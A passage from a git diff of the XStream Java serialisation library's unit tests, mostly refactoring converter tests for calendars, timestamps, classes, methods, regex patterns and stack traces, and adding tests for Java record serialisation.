zones. - // Note: 'America/Panama' has no relevance - it was just a randomly chosen zone. - TimeZoneChanger.change("America/Panama"); - } - - protected void tearDown() throws Exception { - TimeZoneChanger.reset(); - super.tearDown(); - } - - public void testCanLoadTimeWithDefaultDifferentLocaleForFormat() { - final ISO8601GregorianCalendarConverter converter = new ISO8601GregorianCalendarConverter(); - - Locale defaultLocale = Locale.getDefault(); - Locale defaultLocaleForFormat = Locale.getDefault(Locale.Category.FORMAT); - try { - Locale.setDefault(Locale.US); - Locale.setDefault(Locale.Category.FORMAT, Locale.GERMANY); - Calendar in = new GregorianCalendar(2013, Calendar.JUNE, 17, 16, 0, 0); - - String converterXML = converter.toString(in); - Calendar out = (Calendar) converter.fromString(converterXML); - assertEquals(in.getTime(), out.getTime()); - } finally { - Locale.setDefault(defaultLocale); - Locale.setDefault(defaultLocaleForFormat); - } - } -} diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverterTest.java index ccf9e35da..0f4f39906 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverterTest.java @@ -1,19 +1,20 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2017, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. * - * Created on 03. October 2005 by Joerg Schaible + * Created on 03. October 2005 by Joerg Schaible, merged with ISO8601GregorianCalendarConverter17Test */ package com.thoughtworks.xstream.converters.extended; import java.util.ArrayList; import java.util.Calendar; import java.util.Collections; +import java.util.GregorianCalendar; import java.util.List; import java.util.Locale; import java.util.TimeZone; @@ -292,17 +293,15 @@ public void testParsesStandardDateFragment() { expected.set(Calendar.YEAR, 2017); Calendar out = (Calendar)converter.fromString("2017"); assertEquals(expected.getTime(), out.getTime()); - if (JVM.is18()) { // Java 8 passes, Joda-Time fails - expected.set(Calendar.MONTH, 3); - out = (Calendar)converter.fromString("2017-04"); - assertEquals(expected.getTime(), out.getTime()); - } + expected.set(Calendar.MONTH, 3); + out = (Calendar)converter.fromString("2017-04"); + assertEquals(expected.getTime(), out.getTime()); } public void testParsesStandardWeekDateFragment() { final Calendar expected = Calendar.getInstance(); expected.clear(); - if (!JVM.is18()) { // TODO: Java 8 fails here, Joda-Time passes + if (!JVM.isVersion(8)) { // TODO: Java fails here, Joda-Time passes expected.set(2017, 3, 17); final Calendar out = (Calendar)converter.fromString("2017-W16"); assertEquals(expected.getTime(), out.getTime()); @@ -361,4 +360,23 @@ public void run() { assertTrue("Nothing succeded", results.contains("PASS")); assertFalse("At least one attempt failed", results.contains("FAIL")); } + + public void testCanLoadTimeWithDefaultDifferentLocaleForFormat() { + final ISO8601GregorianCalendarConverter converter = new ISO8601GregorianCalendarConverter(); + + final Locale defaultLocale = Locale.getDefault(); + final Locale defaultLocaleForFormat = Locale.getDefault(Locale.Category.FORMAT); + try { + Locale.setDefault(Locale.US); + Locale.setDefault(Locale.Category.FORMAT, Locale.GERMANY); + final Calendar in = new GregorianCalendar(2013, Calendar.JUNE, 17, 16, 0, 0); + + final String converterXML = converter.toString(in); + final Calendar out = (Calendar)converter.fromString(converterXML); + assertEquals(in.getTime(), out.getTime()); + } finally { + Locale.setDefault(defaultLocale); + Locale.setDefault(defaultLocaleForFormat); + } + } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601SqlTimestampConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601SqlTimestampConverterTest.java index 80ef203a4..aa0416851 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601SqlTimestampConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ISO8601SqlTimestampConverterTest.java @@ -1,23 +1,23 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. October 2005 by Joerg Schaible */ package com.thoughtworks.xstream.converters.extended; +import java.sql.Timestamp; + import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.testutil.TimeZoneChanger; import junit.framework.TestCase; -import java.sql.Timestamp; - /** * @author Chung-Onn Cheong @@ -26,6 +26,7 @@ public class ISO8601SqlTimestampConverterTest extends TestCase { private ISO8601SqlTimestampConverter converter; + @Override protected void setUp() throws Exception { super.setUp(); converter = new ISO8601SqlTimestampConverter(); @@ -36,62 +37,61 @@ protected void setUp() throws Exception { TimeZoneChanger.change("EST"); } + @Override protected void tearDown() throws Exception { TimeZoneChanger.reset(); super.tearDown(); } public void testISO8601SqlTimestamp() { - XStream xs = new XStream(); + final XStream xs = new XStream(); xs.registerConverter(converter); - long currentTime = System.currentTimeMillis(); + final long currentTime = System.currentTimeMillis(); - Timestamp ts1 = new Timestamp(currentTime); - String xmlString = xs.toXML(ts1); + final Timestamp ts1 = new Timestamp(currentTime); + final String xmlString = xs.toXML(ts1); - Timestamp ts2 = (Timestamp)xs.fromXML(xmlString); + final Timestamp ts2 = xs.fromXML(xmlString); assertEquals("ISO Timestamp Converted is not the same ", ts1, ts2); - assertEquals( - "Current time not equal to converted timestamp", currentTime, - (ts2.getTime() / 1000) * 1000 + ts2.getNanos() / 1000000); + assertEquals("Current time not equal to converted timestamp", currentTime, ts2.getTime() / 1000 * 1000 + + ts2.getNanos() / 1000000); } public void testISO8601SqlTimestampWith1Milli() { - XStream xs = new XStream(); + final XStream xs = new XStream(); xs.registerConverter(converter); - long currentTime = (System.currentTimeMillis() / 1000 * 1000) + 1; + final long currentTime = System.currentTimeMillis() / 1000 * 1000 + 1; - Timestamp ts1 = new Timestamp(currentTime); - String xmlString = xs.toXML(ts1); + final Timestamp ts1 = new Timestamp(currentTime); + final String xmlString = xs.toXML(ts1); - Timestamp ts2 = (Timestamp)xs.fromXML(xmlString); + final Timestamp ts2 = xs.fromXML(xmlString); assertEquals("ISO Timestamp Converted is not the same ", ts1, ts2); - assertEquals( - "Current time not equal to converted timestamp", currentTime, - (ts2.getTime() / 1000) * 1000 + ts2.getNanos() / 1000000); + assertEquals("Current time not equal to converted timestamp", currentTime, ts2.getTime() / 1000 * 1000 + + ts2.getNanos() / 1000000); } public void testISO8601SqlTimestampWithNanos() { - XStream xs = new XStream(); + final XStream xs = new XStream(); xs.registerConverter(converter); - Timestamp ts1 = new Timestamp(System.currentTimeMillis()); + final Timestamp ts1 = new Timestamp(System.currentTimeMillis()); ts1.setNanos(987654321); - String xmlString = xs.toXML(ts1); + final String xmlString = xs.toXML(ts1); - Timestamp ts2 = (Timestamp)xs.fromXML(xmlString); + final Timestamp ts2 = xs.fromXML(xmlString); assertEquals("ISO Timestamp Converted is not the same ", ts1, ts2); assertEquals("Nanos are not equal", ts1.getNanos(), ts2.getNanos()); } public void testTimestampWithoutFraction() { - String isoFormat = "1993-02-14T13:10:30-05:00"; - Timestamp out = (Timestamp)converter.fromString(isoFormat); + final String isoFormat = "1993-02-14T13:10:30-05:00"; + final Timestamp out = (Timestamp)converter.fromString(isoFormat); assertEquals("1993-02-14T13:10:30.000000000-05:00", converter.toString(out)); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/JavaClassConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/JavaClassConverterTest.java index c660e857b..9a7245137 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/JavaClassConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/JavaClassConverterTest.java @@ -1,18 +1,19 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 16. February 2005 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; import com.thoughtworks.acceptance.AbstractAcceptanceTest; + public class JavaClassConverterTest extends AbstractAcceptanceTest { public void testHandlesPrimitivesAndWrappers() { @@ -30,44 +31,44 @@ public static class A {} public void testHandlesArrays() { assertBothWays(A[].class, - "[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$A;"); - assertBothWays(int[].class, - "[I"); + "[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$A;"); + assertBothWays(int[].class, "[I"); } public void testHandlesMultidimensioanlArrays() { assertBothWays(A[][].class, - "[[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$A;"); + "[[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$A;"); assertBothWays(A[][][][].class, - "[[[[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$A;"); + "[[[[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$A;"); - assertBothWays(int[][].class, - "[[I"); - assertBothWays(int[][][][].class, - "[[[[I"); + assertBothWays(int[][].class, "[[I"); + assertBothWays(int[][][][].class, "[[[[I"); } public static class B {} public void testResolvesUnloadedClassThatIsAnArray() { // subtleties in classloaders make this an awkward one - String input = "[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$B;"; - Class result = (Class) xstream.fromXML(input); + final String input = + "[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$B;"; + final Class result = xstream.>fromXML(input); assertEquals("[Lcom.thoughtworks.xstream.converters.extended.JavaClassConverterTest$B;", result.getName()); assertTrue("Should be an array", result.isArray()); - assertEquals("com.thoughtworks.xstream.converters.extended.JavaClassConverterTest$B", result.getComponentType().getName()); + assertEquals("com.thoughtworks.xstream.converters.extended.JavaClassConverterTest$B", result + .getComponentType() + .getName()); } - + public void testHandlesJavaClassArray() { - xstream.registerConverter(new JavaClassConverter(xstream.getMapper()){}); - - Class[] classes = new Class[] { - Object.class, - Comparable.class, - null, - Throwable.class + xstream.registerConverter(new JavaClassConverter(xstream.getMapper()) {}); + + final Class[] classes = new Class[]{ // + Object.class, // + Comparable.class, // + null, // + Throwable.class // }; - + assertBothWays(classes, "" + "\n" + " object\n" diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/JavaMethodConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/JavaMethodConverterTest.java index e62337210..0602542dd 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/JavaMethodConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/JavaMethodConverterTest.java @@ -1,74 +1,73 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 23. December 2004 by Mauro Talevi */ package com.thoughtworks.xstream.converters.extended; -import com.thoughtworks.acceptance.AbstractAcceptanceTest; - import java.lang.reflect.Constructor; import java.lang.reflect.Method; +import com.thoughtworks.acceptance.AbstractAcceptanceTest; + + public class JavaMethodConverterTest extends AbstractAcceptanceTest { public void testSupportsPublicMethods() throws Exception { - Method method = AnIntClass.class.getDeclaredMethod("setValue", new Class[]{Integer.TYPE}); - String expected = - "\n" + - " com.thoughtworks.xstream.converters.extended.JavaMethodConverterTest$AnIntClass\n" + - " setValue\n" + - " \n" + - " int\n" + - " \n" + - ""; + final Method method = AnIntClass.class.getDeclaredMethod("setValue", Integer.TYPE); + final String expected = "\n" + + " com.thoughtworks.xstream.converters.extended.JavaMethodConverterTest$AnIntClass\n" + + " setValue\n" + + " \n" + + " int\n" + + " \n" + + ""; assertBothWays(method, expected); } public void testSupportsPrivateMethods() throws NoSuchMethodException { - Method method = AnIntClass.class.getDeclaredMethod("privateMethod", new Class[]{}); - String expected = - "\n" + - " com.thoughtworks.xstream.converters.extended.JavaMethodConverterTest$AnIntClass\n" + - " privateMethod\n" + - " \n" + - ""; + final Method method = AnIntClass.class.getDeclaredMethod("privateMethod"); + final String expected = "\n" + + " com.thoughtworks.xstream.converters.extended.JavaMethodConverterTest$AnIntClass\n" + + " privateMethod\n" + + " \n" + + ""; assertBothWays(method, expected); } public void testSupportsConstructor() throws NoSuchMethodException { - Constructor constructor = AnIntClass.class.getDeclaredConstructor(new Class[] { int.class }); - String expected = - "\n" + - " com.thoughtworks.xstream.converters.extended.JavaMethodConverterTest$AnIntClass\n" + - " \n" + - " int\n" + - " \n" + - ""; + final Constructor constructor = AnIntClass.class.getDeclaredConstructor(int.class); + final String expected = "\n" + + " com.thoughtworks.xstream.converters.extended.JavaMethodConverterTest$AnIntClass\n" + + " \n" + + " int\n" + + " \n" + + ""; assertBothWays(constructor, expected); } static class AnIntClass { private int value = 0; - protected AnIntClass(int integer) { - this.value = integer; + protected AnIntClass(final int integer) { + value = integer; } public int getValue() { return value; } - public void setValue(int integer) { - this.value = integer; + public void setValue(final int integer) { + value = integer; } + @SuppressWarnings("unused") private void privateMethod() { } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/PropertyEditorCapableConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/PropertyEditorCapableConverterTest.java index d874ee6e1..e13927476 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/PropertyEditorCapableConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/PropertyEditorCapableConverterTest.java @@ -1,24 +1,24 @@ /* - * Copyright (C) 2007 XStream Committers. + * Copyright (C) 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 20. September 2007 by Joerg Schaible */ package com.thoughtworks.xstream.converters.extended; +import java.beans.PropertyEditorSupport; +import java.util.HashMap; +import java.util.Map; + import com.thoughtworks.acceptance.objects.Software; import com.thoughtworks.xstream.converters.SingleValueConverter; import junit.framework.TestCase; -import java.beans.PropertyEditorSupport; -import java.util.HashMap; -import java.util.Map; - /** * @author Jörg Schaible @@ -27,40 +27,43 @@ public class PropertyEditorCapableConverterTest extends TestCase { public static class SoftwarePropertyEditor extends PropertyEditorSupport { + @Override public String getAsText() { - Software software = (Software)getValue(); + final Software software = (Software)getValue(); return software.vendor + ":" + software.name; } - public void setAsText(String text) throws IllegalArgumentException { - int idx = text.indexOf(':'); + @Override + public void setAsText(final String text) throws IllegalArgumentException { + final int idx = text.indexOf(':'); setValue(new Software(text.substring(0, idx), text.substring(idx + 1))); } } public void testCanBeUsedForCustomTypes() { - Software software = new Software("Joe Walnes", "XStream"); - SingleValueConverter converter = new PropertyEditorCapableConverter( - SoftwarePropertyEditor.class, Software.class); + final Software software = new Software("Joe Walnes", "XStream"); + final SingleValueConverter converter = new PropertyEditorCapableConverter(SoftwarePropertyEditor.class, + Software.class); assertTrue(converter.canConvert(Software.class)); assertEquals("Joe Walnes:XStream", converter.toString(software)); assertEquals(software, converter.fromString("Joe Walnes:XStream")); } public void testConcurrentConversion() throws InterruptedException { - final SingleValueConverter converter = new PropertyEditorCapableConverter( - SoftwarePropertyEditor.class, Software.class); + final SingleValueConverter converter = new PropertyEditorCapableConverter(SoftwarePropertyEditor.class, + Software.class); - final Map exceptions = new HashMap(); + final Map exceptions = new HashMap(); final ThreadGroup tg = new ThreadGroup(getName()) { - public void uncaughtException(Thread t, Throwable e) { + @Override + public void uncaughtException(final Thread t, final Throwable e) { exceptions.put(e, t.getName()); super.uncaughtException(t, e); } }; - final Map references = new HashMap(); + final Map references = new HashMap(); final int[] counter = new int[1]; counter[0] = 0; final Thread[] threads = new Thread[10]; @@ -69,6 +72,7 @@ public void uncaughtException(Thread t, Throwable e) { references.put(name, new Software("JUnit Thread", Integer.toString(i))); threads[i] = new Thread(tg, name) { + @Override public void run() { int i = 0; try { @@ -76,16 +80,14 @@ public void run() { notifyAll(); wait(); } - final Software software = (Software)references.get(Thread - .currentThread() - .getName()); + final Software software = references.get(Thread.currentThread().getName()); while (i < 1000 && !interrupted()) { - String formatted = converter.toString(software); + final String formatted = converter.toString(software); Thread.yield(); assertEquals(software, converter.fromString(formatted)); ++i; } - } catch (InterruptedException e) { + } catch (final InterruptedException e) { fail("Unexpected InterruptedException"); } synchronized (counter) { @@ -96,33 +98,32 @@ public void run() { }; } - for (int i = 0; i < threads.length; ++i) { - synchronized (threads[i]) { - threads[i].start(); - threads[i].wait(); + for (final Thread thread : threads) { + synchronized (thread) { + thread.start(); + thread.wait(); } } - for (int i = 0; i < threads.length; ++i) { - synchronized (threads[i]) { - threads[i].notifyAll(); + for (final Thread thread : threads) { + synchronized (thread) { + thread.notifyAll(); } } Thread.sleep(1000); - for (int i = 0; i < threads.length; ++i) { - threads[i].interrupt(); + for (final Thread thread : threads) { + thread.interrupt(); } - for (int i = 0; i < threads.length; ++i) { - synchronized (threads[i]) { - threads[i].join(); + for (final Thread thread : threads) { + synchronized (thread) { + thread.join(); } } assertEquals("Exceptions have been thrown: " + exceptions, 0, exceptions.size()); - assertTrue( - "Each thread should have made at least 1 conversion", counter[0] >= threads.length); + assertTrue("Each thread should have made at least 1 conversion", counter[0] >= threads.length); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/RecordConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/RecordConverterTest.java new file mode 100644 index 000000000..a057dbbab --- /dev/null +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/RecordConverterTest.java @@ -0,0 +1,299 @@ +/* + * Copyright (C) 2020, 2021 XStream committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 19. August 2020 by Julia Boes + */ + +package com.thoughtworks.xstream.converters.extended; + +import com.thoughtworks.acceptance.AbstractAcceptanceTest; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.converters.ConversionException; + +import java.util.stream.IntStream; + + +/** + * Unit test for Record serialisation/deserialisation. + * + * @author Julia Boes + * @author Chris Hegarty + */ +public class RecordConverterTest extends AbstractAcceptanceTest { + + /** Test where the single object is a record. */ + public record RecordRectangle(String height, int width, long x, double y) {} + + static final RecordRectangle RR = new RecordRectangle("ten", 20, 5L, 1.0); + static final String RR_XML = """ + + ten + 20 + 5 + 1.0 + + """.strip(); + + public void testBasicRecord() { + final String xml = RR_XML; + final var expectedObject = RR; + assertBothWays(expectedObject, xml); + } + + /** Test where the component record object is an array of records. */ + public record RecordWithArray(RecordRectangle[] recordArray) {} + + static final RecordWithArray RWA = new RecordWithArray(new RecordRectangle[]{RR}); + static final String RWA_XML = """ + + + + ten + 20 + 5 + 1.0 + + + + """.strip(); + + public void testRecordWithArray() { + final String xml = RWA_XML; + final var expectedObject = RWA; + assertBothWays(expectedObject, xml); + } + + /** Test where the component record object is the declared type. */ + public record RecordOfRecord(RecordRectangle r) {} + + static final RecordRectangle RR2 = new RecordRectangle("five", 6, 7L, 8.9); + static final RecordOfRecord ROR = new RecordOfRecord(RR2); + static final String ROR_XML = """ + + + five + 6 + 7 + 8.9 + + + """.strip(); + + public void testRecordOfRecord() { + final String xml = ROR_XML; + final var expectedObject = ROR; + assertBothWays(expectedObject, xml); + } + + /** Test where the component record object is NOT the declared type. */ + public interface Larry { + int i(); + } + + public record Moe(int i) implements Larry {} + + public record Curly(Larry aLarry) {} + + static final Curly CURLY = new Curly(new Moe(5)); + static final String CURLY_XML = """ + + + 5 + + + """.strip(); + + public void testRecordOfRecordWithSubtypes() { + final String xml = CURLY_XML; + final var expectedObject = CURLY; + assertBothWays(expectedObject, xml); + } + + /** Test where the record has an explicit constructor. */ + public record RecordWithConstructor(String height, int width, long x, double y) { + public RecordWithConstructor(String height) { + this(height, 20, 5, 1.0); + } + } + + static final RecordWithConstructor RWC = new RecordWithConstructor("ten"); + static final String RWC_XML = """ + + ten + 20 + 5 + 1.0 + + """.strip(); + + public void testRecordWithConstructor() { + final String xml = RWC_XML; + final var expectedObject = RWC; + assertBothWays(expectedObject, xml); + } + + /** + * Test where non-primitive record component is omitted during serialisation. The components' default value null is + * inserted during deserialisation. + */ + public record RecordOmittedNonPrimitive( + byte b, short s, int i, long l, float f, double d, char c, boolean bool, String str) {} + + static final RecordOmittedNonPrimitive RONP = new RecordOmittedNonPrimitive((byte)0, (short)0, 0, 0l, 0.0f, 0.0d, + '\u0000', false, null); + static final String RONP_XML = """ + + 0 + 0 + 0 + 0 + 0.0 + 0.0 + + false + + """.strip(); + // String str is omitted because is is null + + public void testRecordOmittedNonPrimitive() { + final String xml = RONP_XML; + final var expectedObject = RONP; + assertBothWays(expectedObject, xml); + } + + /** + * Test where primitive record component values are missing in the xml. In this case the default values of the + * respective types are inserted during deserialisation. + */ + public record RecordOmittedPrimitive( + byte b, short s, int i, long l, float f, double d, char c, boolean bool, String str) {} + + static final RecordOmittedPrimitive ROP = new RecordOmittedPrimitive((byte)0, (short)0, 0, 0l, 0.0f, 0.0d, '\u0000', + false, null); + static final String ROP_XML = """ + + + """.strip(); + + public void testDeserializeRecordOmittedPrimitive() { + final String xml = ROP_XML; + final var expectedObject = ROP; + final var xstream = new XStream(); + xstream.allowTypesByRegExp("com.thoughtworks.xstream.converters.extended.RecordConverterTest.*"); + var fromXML = (RecordOmittedPrimitive)xstream.fromXML(xml); + assertEquals(expectedObject, fromXML); + } + + public record Empty() {} + + static final String EMPTY_XML = """ + + """.strip(); + + public void testEmpty() { + final String xml = EMPTY_XML; + final var expectedObject = new Empty(); + assertBothWays(expectedObject, xml); + } + + static final String EMPTY_XML_2 = """ + + + """.strip(); + + public void testEmpty2() { + final String xml = EMPTY_XML_2; + final var expectedObject = new Empty(); + final var xstream = new XStream(); + xstream.allowTypesByRegExp("com.thoughtworks.xstream.converters.extended.RecordConverterTest.*"); + var fromXML = (Empty)xstream.fromXML(xml); + assertEquals(expectedObject, fromXML); + } + + public record Point(int x, int y) {} + + static final String POINT_XML = """ + + 2 + 1 + + """.strip(); + // values of x and y reversed + + public void testDeserializeOfPoint() { + final String xml = POINT_XML; + final var expectedObject = new Point(1, 2); + final var xstream = new XStream(); + xstream.allowTypesByRegExp("com.thoughtworks.xstream.converters.extended.RecordConverterTest.*"); + var fromXML = (Point)xstream.fromXML(xml); + assertEquals(expectedObject, fromXML); + } + + public void testArrayOfPoints() { + Point[] points = new Point[100]; + IntStream.range(0, 100).forEach(i -> points[i] = new Point(i, i + 100)); + final var xstream = new XStream(); + xstream.allowTypesByRegExp("com.thoughtworks.xstream.converters.extended.RecordConverterTest.*"); + var deserPoints = (Point[])xstream.fromXML(xstream.toXML(points)); + IntStream.range(0, 100).forEach(i -> assertEquals(points[i], deserPoints[i])); + } + + public record PositivePoint(int x, int y) { + public PositivePoint { // compact syntax + if (x < 0) + throw new IllegalArgumentException("negative x:" + x); + if (y < 0) + throw new IllegalArgumentException("negative y:" + y); + } + } + + static final String POSITIVE_POINT_BAD_X_XML = """ + + -1 + 2 + + """.strip(); + // the value of x is negative (illegal) ! + + public void testDeserializeOfPositivePointBadX() { + final String xml = POSITIVE_POINT_BAD_X_XML; + final var xstream = new XStream(); + xstream.allowTypesByRegExp("com.thoughtworks.xstream.converters.extended.RecordConverterTest.*"); + var e = expectThrows(IllegalArgumentException.class, () -> xstream.fromXML(xml)); + assertEquals("negative x:-1", e.getMessage()); + } + + static final String POSITIVE_POINT_BAD_Y_XML = """ + + 1 + -2 + + """.strip(); + // the value of y is negative (illegal) ! + + public void testDeserializeOfPositivePointBadY() { + final String xml = POSITIVE_POINT_BAD_Y_XML; + final var xstream = new XStream(); + xstream.allowTypesByRegExp("com.thoughtworks.xstream.converters.extended.RecordConverterTest.*"); + var e = expectThrows(IllegalArgumentException.class, () -> xstream.fromXML(xml)); + assertEquals("negative y:-2", e.getMessage()); + } + + static T expectThrows(Class throwableClass, Runnable task) { + try { + task.run(); + throw new AssertionError("Exception not thrown"); + } catch (ConversionException ce) { + Throwable cause = ce.getCause(); + if (!throwableClass.isInstance(cause)) { + throw new RuntimeException("expected: " + throwableClass + ", actual: " + cause); + } + return throwableClass.cast(cause); + } + } +} diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/RegexPatternConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/RegexPatternConverterTest.java index 58786ef80..6a909511d 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/RegexPatternConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/RegexPatternConverterTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 28. July 2006 by Guilerme Silveira */ package com.thoughtworks.xstream.converters.extended; @@ -15,14 +15,27 @@ import com.thoughtworks.acceptance.AbstractAcceptanceTest; + public class RegexPatternConverterTest extends AbstractAcceptanceTest { - public void testHandlesSimplePattern() { - Pattern root = Pattern.compile(".*"); - String xml = "\n" - + " .*\n" + " 0\n" - + ""; - assertBothWays(root, xml); - } + public void testHandlesSimplePattern() { + final Pattern root = Pattern.compile(".*"); + final String xml = ""// + + "\n" + + " .*\n" + + " 0\n" + + ""; + assertBothWays(root, xml); + } + + public void testHandlesPatternWithStartAndEnd() { + final Pattern root = Pattern.compile("^[a-z0-9]{8}$"); + final String xml = "" // + + "\n" + + " ^[a-z0-9]{8}$\n" + + " 0\n" + + ""; + assertBothWays(root, xml); + } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/StackTraceElementConverter09Test.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/StackTraceElementConverter09Test.java new file mode 100644 index 000000000..7cb8aae89 --- /dev/null +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/StackTraceElementConverter09Test.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2019, 2021 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 05. May 2019 by Joerg Schaible, renamed from StackTraceElementConverter9Test + */ +package com.thoughtworks.xstream.converters.extended; + +import com.thoughtworks.acceptance.AbstractAcceptanceTest; + + +/** + * @author Jörg Schaible + */ +public class StackTraceElementConverter09Test extends AbstractAcceptanceTest { + + private final StackTraceElementConverter.StackTraceElementFactory factory = + new StackTraceElementConverter.StackTraceElementFactory(); + + public void testWithBuiltInClassLoaderAndInternalModule() { + final StackTraceElement trace = factory.create(null, "deCologne", null, "com.blah.SomeClass", "someMethod", "SomeClass.java", 22); + final String expectedXml = "deCologne/com.blah.SomeClass.someMethod(SomeClass.java:22)"; + final StackTraceElement unmarshalled = assertBothWays(trace, expectedXml); + assertNull(unmarshalled.getClassLoaderName()); + assertNull(unmarshalled.getModuleVersion()); + assertEquals("deCologne", unmarshalled.getModuleName()); + } + + public void testWithBuiltInClassLoaderAndModule() { + final StackTraceElement trace = factory.create(null, "deCologne", "47.11", "com.blah.SomeClass", "someMethod", "SomeClass.java", 22); + final String expectedXml = "deCologne@47.11/com.blah.SomeClass.someMethod(SomeClass.java:22)"; + final StackTraceElement unmarshalled = assertBothWays(trace, expectedXml); + assertNull(unmarshalled.getClassLoaderName()); + assertEquals("47.11", unmarshalled.getModuleVersion()); + assertEquals("deCologne", unmarshalled.getModuleName()); + } + + public void testWithClassLoaderAndModule() { + final StackTraceElement trace = factory.create("Eau", "deCologne", "47.11", "com.blah.SomeClass", "someMethod", "SomeClass.java", 22); + final String expectedXml = "Eau/deCologne@47.11/com.blah.SomeClass.someMethod(SomeClass.java:22)"; + final StackTraceElement unmarshalled = assertBothWays(trace, expectedXml); + assertEquals("Eau", unmarshalled.getClassLoaderName()); + assertEquals("47.11", unmarshalled.getModuleVersion()); + assertEquals("deCologne", unmarshalled.getModuleName()); + } + + public void testWithClassLoaderAndUnnamedModule() { + final StackTraceElement trace = factory.create("Eau", null, null, "com.blah.SomeClass", "someMethod", "SomeClass.java", 22); + final String expectedXml = "Eau//com.blah.SomeClass.someMethod(SomeClass.java:22)"; + final StackTraceElement unmarshalled = assertBothWays(trace, expectedXml); + assertEquals("Eau", unmarshalled.getClassLoaderName()); + assertNull(unmarshalled.getModuleVersion()); + assertNull(unmarshalled.getModuleName()); + } +} diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/StackTraceElementConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/StackTraceElementConverterTest.java index b6c40b223..e3228de33 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/StackTraceElementConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/StackTraceElementConverterTest.java @@ -1,53 +1,78 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 29. May 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; import com.thoughtworks.acceptance.AbstractAcceptanceTest; + /** * @author B. K. Oxley (binkley) * @author Joe Walnes */ public class StackTraceElementConverterTest extends 